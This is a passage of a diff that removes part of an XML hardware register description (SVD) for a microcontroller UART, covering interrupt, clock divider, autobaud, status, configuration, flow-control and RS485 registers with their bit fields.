-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_BRK_IDLE_DONE_INT_ST</name>
-              <description>This is the stauts bit for tx_brk_idle_done_int_raw when tx_brk_idle_done_int_ena is set to 1.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_DONE_INT_ST</name>
-              <description>This is the status bit for tx_done_int_raw when tx_done_int_ena is set to 1.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RS485_PARITY_ERR_INT_ST</name>
-              <description>This is the status bit for rs485_parity_err_int_raw when rs485_parity_int_ena is set to 1.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RS485_FRM_ERR_INT_ST</name>
-              <description>This is the status bit for rs485_fm_err_int_raw when rs485_fm_err_int_ena is set to 1.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RS485_CLASH_INT_ST</name>
-              <description>This is the status bit for rs485_clash_int_raw when rs485_clash_int_ena is set to 1.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>AT_CMD_CHAR_DET_INT_ST</name>
-              <description>This is the status bit for at_cmd_det_int_raw when at_cmd_char_det_int_ena is set to 1.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ENA</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RXFIFO_FULL_INT_ENA</name>
-              <description>This is the enable bit for rxfifo_full_int_st register.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TXFIFO_EMPTY_INT_ENA</name>
-              <description>This is the enable bit for rxfifo_full_int_st register.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PARITY_ERR_INT_ENA</name>
-              <description>This is the enable bit for parity_err_int_st register.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRM_ERR_INT_ENA</name>
-              <description>This is the enable bit for frm_err_int_st register.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RXFIFO_OVF_INT_ENA</name>
-              <description>This is the enable bit for rxfifo_ovf_int_st register.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DSR_CHG_INT_ENA</name>
-              <description>This is the enable bit for dsr_chg_int_st register.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CTS_CHG_INT_ENA</name>
-              <description>This is the enable bit for cts_chg_int_st register.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BRK_DET_INT_ENA</name>
-              <description>This is the enable bit for brk_det_int_st register.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RXFIFO_TOUT_INT_ENA</name>
-              <description>This is the enable bit for rxfifo_tout_int_st register.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SW_XON_INT_ENA</name>
-              <description>This is the enable bit for sw_xon_int_st register.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SW_XOFF_INT_ENA</name>
-              <description>This is the enable bit for sw_xoff_int_st register.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GLITCH_DET_INT_ENA</name>
-              <description>This is the enable bit for glitch_det_int_st register.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_BRK_DONE_INT_ENA</name>
-              <description>This is the enable bit for tx_brk_done_int_st register.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_BRK_IDLE_DONE_INT_ENA</name>
-              <description>This is the enable bit for tx_brk_idle_done_int_st register.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_DONE_INT_ENA</name>
-              <description>This is the enable bit for tx_done_int_st register.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RS485_PARITY_ERR_INT_ENA</name>
-              <description>This is the enable bit for rs485_parity_err_int_st register.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RS485_FRM_ERR_INT_ENA</name>
-              <description>This is the enable bit for rs485_parity_err_int_st register.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RS485_CLASH_INT_ENA</name>
-              <description>This is the enable bit for rs485_clash_int_st register.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AT_CMD_CHAR_DET_INT_ENA</name>
-              <description>This is the enable bit for at_cmd_char_det_int_st register.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_CLR</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RXFIFO_FULL_INT_CLR</name>
-              <description>Set this bit to clear the rxfifo_full_int_raw interrupt.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TXFIFO_EMPTY_INT_CLR</name>
-              <description>Set this bit to clear txfifo_empty_int_raw interrupt.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>PARITY_ERR_INT_CLR</name>
-              <description>Set this bit to clear parity_err_int_raw interrupt.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRM_ERR_INT_CLR</name>
-              <description>Set this bit to clear frm_err_int_raw interrupt.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>RXFIFO_OVF_INT_CLR</name>
-              <description>Set this bit to clear rxfifo_ovf_int_raw interrupt.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DSR_CHG_INT_CLR</name>
-              <description>Set this bit to clear the dsr_chg_int_raw interrupt.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>CTS_CHG_INT_CLR</name>
-              <description>Set this bit to clear the cts_chg_int_raw interrupt.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>BRK_DET_INT_CLR</name>
-              <description>Set this bit to clear the brk_det_int_raw interrupt.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>RXFIFO_TOUT_INT_CLR</name>
-              <description>Set this bit to clear the rxfifo_tout_int_raw interrupt.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SW_XON_INT_CLR</name>
-              <description>Set this bit to clear the sw_xon_int_raw interrupt.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SW_XOFF_INT_CLR</name>
-              <description>Set this bit to clear the sw_xon_int_raw interrupt.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>GLITCH_DET_INT_CLR</name>
-              <description>Set this bit to clear the glitch_det_int_raw interrupt.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TX_BRK_DONE_INT_CLR</name>
-              <description>Set this bit to clear the tx_brk_done_int_raw interrupt..</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TX_BRK_IDLE_DONE_INT_CLR</name>
-              <description>Set this bit to clear the tx_brk_idle_done_int_raw interrupt.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TX_DONE_INT_CLR</name>
-              <description>Set this bit to clear the tx_done_int_raw interrupt.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>RS485_PARITY_ERR_INT_CLR</name>
-              <description>Set this bit to clear the rs485_parity_err_int_raw interrupt.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>RS485_FRM_ERR_INT_CLR</name>
-              <description>Set this bit to clear the rs485_frm_err_int_raw interrupt.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>RS485_CLASH_INT_CLR</name>
-              <description>Set this bit to clear the rs485_clash_int_raw interrupt.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>AT_CMD_CHAR_DET_INT_CLR</name>
-              <description>Set this bit to clear the at_cmd_char_det_int_raw interrupt.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CLKDIV</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000002B6</resetValue>
-          <fields>
-            <field>
-              <name>CLKDIV</name>
-              <description>The register value is  the  integer part of the frequency divider's factor.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRAG</name>
-              <description>The register  value is the decimal part of the frequency divider's factor.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AUTOBAUD</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00001000</resetValue>
-          <fields>
-            <field>
-              <name>EN</name>
-              <description>This is the enable bit for detecting baudrate.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GLITCH_FILT</name>
-              <description>when input pulse width is lower then this value igore this pulse.this register is used in autobaud detect process.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATUS</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RXFIFO_CNT</name>
-              <description>(rx_mem_cnt rxfifo_cnt) stores the byte num of valid datas in receiver's fifo. rx_mem_cnt register stores the 3 most significant bits  rxfifo_cnt stores the 8 least significant bits.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ST_URX_OUT</name>
-              <description>This register stores the value of receiver's finite state machine. 0:RX_IDLE  1:RX_STRT  2:RX_DAT0  3:RX_DAT1  4:RX_DAT2  5:RX_DAT3  6:RX_DAT4  7:RX_DAT5  8:RX_DAT6  9:RX_DAT7   10:RX_PRTY   11:RX_STP1  12:RX_STP2 13:RX_DL1</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DSRN</name>
-              <description>This register stores the level value of the internal uart dsr signal.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CTSN</name>
-              <description>This register stores the level value of the internal uart cts signal.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RXD</name>
-              <description>This register stores the level value of the internal uart rxd signal.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TXFIFO_CNT</name>
-              <description>(tx_mem_cnt txfifo_cnt) stores the byte num of valid datas in transmitter's fifo.tx_mem_cnt stores the 3 most significant bits  txfifo_cnt stores the 8 least significant bits.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ST_UTX_OUT</name>
-              <description>This register stores the value of transmitter's finite state machine. 0:TX_IDLE  1:TX_STRT  2:TX_DAT0  3:TX_DAT1  4:TX_DAT2   5:TX_DAT3 6:TX_DAT4  7:TX_DAT5  8:TX_DAT6 9:TX_DAT7  10:TX_PRTY   11:TX_STP1  12:TX_STP2  13:TX_DL0   14:TX_DL1</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DTRN</name>
-              <description>The register represent the level value of the internal uart dsr signal.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RTSN</name>
-              <description>This register represent the level value of the internal uart cts signal.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TXD</name>
-              <description>This register represent the  level value of the internal uart rxd signal.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CONF0</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0800001C</resetValue>
-          <fields>
-            <field>
-              <name>PARITY</name>
-              <description>This register is used to configure the parity check mode.  0:even 1:odd</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PARITY_EN</name>
-              <description>Set this bit to enable uart parity check.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BIT_NUM</name>
-              <description>This registe is used to set the length of data:  0:5bits 1:6bits 2:7bits 3:8bits</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>STOP_BIT_NUM</name>
-              <description>This register is used to set the length of  stop bit. 1:1bit  2:1.5bits  3:2bits</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SW_RTS</name>
-              <description>This register is used to configure the software rts signal which is used in software flow control.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SW_DTR</name>
-              <description>This register is used to configure the software dtr signal which is used in software flow control..</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TXD_BRK</name>
-              <description>Set this bit to enbale transmitter to  send 0 when the process of sending data is done.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IRDA_DPLX</name>
-              <description>Set this bit to enable irda loopback mode.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IRDA_TX_EN</name>
-              <description>This is the start enable bit for irda transmitter.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IRDA_WCTL</name>
-              <description>1.the irda transmitter's 11th bit is the same to the 10th bit. 0.set irda transmitter's 11th bit to 0.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IRDA_TX_INV</name>
-              <description>Set this bit to inverse the level value of  irda transmitter's level.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IRDA_RX_INV</name>
-              <description>Set this bit to inverse the level value of irda receiver's level.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LOOPBACK</name>
-              <description>Set this bit to enable uart loopback test mode.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_FLOW_EN</name>
-              <description>Set this bit to enable transmitter's flow control function.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IRDA_EN</name>
-              <description>Set this bit to enable irda protocol.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RXFIFO_RST</name>
-              <description>Set this bit to reset uart receiver's fifo.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TXFIFO_RST</name>
-              <description>Set this bit to reset uart transmitter's fifo.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RXD_INV</name>
-              <description>Set this bit to inverse the level value of uart rxd signal.</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CTS_INV</name>
-              <description>Set this bit to inverse the level value of uart cts signal.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DSR_INV</name>
-              <description>Set this bit to inverse the level value of uart dsr signal.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TXD_INV</name>
-              <description>Set this bit to inverse the level value of uart txd signal.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RTS_INV</name>
-              <description>Set this bit to inverse the level value of uart rts signal.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTR_INV</name>
-              <description>Set this bit to inverse the level value of uart dtr signal.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK_EN</name>
-              <description>1.force clock on for registers.support clock only when write registers</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ERR_WR_MASK</name>
-              <description>1.receiver stops storing data int fifo when data is wrong. 0.receiver stores the data even if the  received data is wrong.</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TICK_REF_ALWAYS_ON</name>
-              <description>This register is used to select the clock.1.apb clock 0:ref_tick</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CONF1</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00006060</resetValue>
-          <fields>
-            <field>
-              <name>RXFIFO_FULL_THRHD</name>
-              <description>When receiver receives more data than its threshold value.receiver will produce rxfifo_full_int_raw interrupt.the threshold value is (rx_flow_thrhd_h3 rxfifo_full_thrhd).</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TXFIFO_EMPTY_THRHD</name>
-              <description>when the data amount in transmitter fifo is less than its threshold value. it will produce txfifo_empty_int_raw interrupt. the threshold value is (tx_mem_empty_thrhd txfifo_empty_thrhd)</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_FLOW_THRHD</name>
-              <description>when receiver receives more data than its threshold value. receiver produce signal to tell the transmitter stop transferring data. the threshold value is (rx_flow_thrhd_h3 rx_flow_thrhd).</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_FLOW_EN</name>
-              <description>This is the flow enable bit for uart receiver. 1:choose software flow control with configuring sw_rts signal</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_TOUT_THRHD</name>
-              <description>This register is used to configure the timeout value for uart receiver receiving a byte.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_TOUT_EN</name>
-              <description>This is the enble bit for uart receiver's timeout function.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LOWPULSE</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000FFFFF</resetValue>
-          <fields>
-            <field>
-              <name>MIN_CNT</name>
-              <description>This register stores the value of the minimum duration time for the low level pulse. it is used in baudrate-detect process.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HIGHPULSE</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000FFFFF</resetValue>
-          <fields>
-            <field>
-              <name>MIN_CNT</name>
-              <description>This register stores  the value of the maxinum duration time for the high level pulse. it is used in baudrate-detect process.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RXD_CNT</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RXD_EDGE_CNT</name>
-              <description>This register stores the count of rxd edge change. it is used in baudrate-detect process.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FLOW_CONF</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SW_FLOW_CON_EN</name>
-              <description>Set this bit to enable software  flow control. it is used with register sw_xon or sw_xoff .</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XONOFF_DEL</name>
-              <description>Set this bit to remove flow control char from the received data.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FORCE_XON</name>
-              <description>Set this bit to clear ctsn to stop the  transmitter from sending data.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FORCE_XOFF</name>
-              <description>Set this bit to set ctsn to enable the transmitter to go on sending data.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEND_XON</name>
-              <description>Set this bit to send xon char. it is cleared by hardware automatically.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEND_XOFF</name>
-              <description>Set this bit to send xoff char. it is cleared by hardware automatically.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLEEP_CONF</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000000F0</resetValue>
-          <fields>
-            <field>
-              <name>ACTIVE_THRESHOLD</name>
-              <description>When the input rxd edge changes more than this register value. the uart is active from light sleeping mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SWFC_CONF</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x1311E000</resetValue>
-          <fields>
-            <field>
-              <name>XON_THRESHOLD</name>
-              <description>when the data amount in receiver's fifo is more than this register value. it will send a xoff char with uart_sw_flow_con_en set to 1.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XOFF_THRESHOLD</name>
-              <description>When the data amount in receiver's fifo is less than this register value. it will send a xon char with uart_sw_flow_con_en set to 1.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XON_CHAR</name>
-              <description>This register stores the xon flow control char.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XOFF_CHAR</name>
-              <description>This register stores the xoff flow control char.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IDLE_CONF</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00A40100</resetValue>
-          <fields>
-            <field>
-              <name>RX_IDLE_THRHD</name>
-              <description>when receiver takes more time than this register value to receive a byte data. it will produce frame end signal for uhci to stop receiving data.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_IDLE_NUM</name>
-              <description>This register is used to configure the duration time between transfers.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_BRK_NUM</name>
-              <description>This register is used to configure the num of 0 send after the process of sending data is done. it is active when txd_brk is set to 1.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RS485_CONF</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RS485_EN</name>
-              <description>Set this bit to choose rs485 mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DL0_EN</name>
-              <description>Set this bit to delay the stop bit by 1 bit.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DL1_EN</name>
-              <description>Set this bit to delay the stop bit by 1 bit.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RS485TX_RX_EN</name>
-              <description>Set this bit to enable loopback transmitter's output data signal to receiver's input data signal.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RS485RXBY_TX_EN</name>
-              <description>1: enable rs485's transmitter to send data when rs485's receiver is busy. 0:rs485's transmitter should not send data when its receiver is busy.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RS485_RX_DLY_NUM</name>
-              <description>This register is used to delay the receiver's internal data signal.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RS485_TX_DLY_NUM</name>
-              <description>This register is used to delay the transmitter's internal data signal.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AT_CMD_PRECNT</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00186A00</resetValue>
-          <fields>
-            <field>
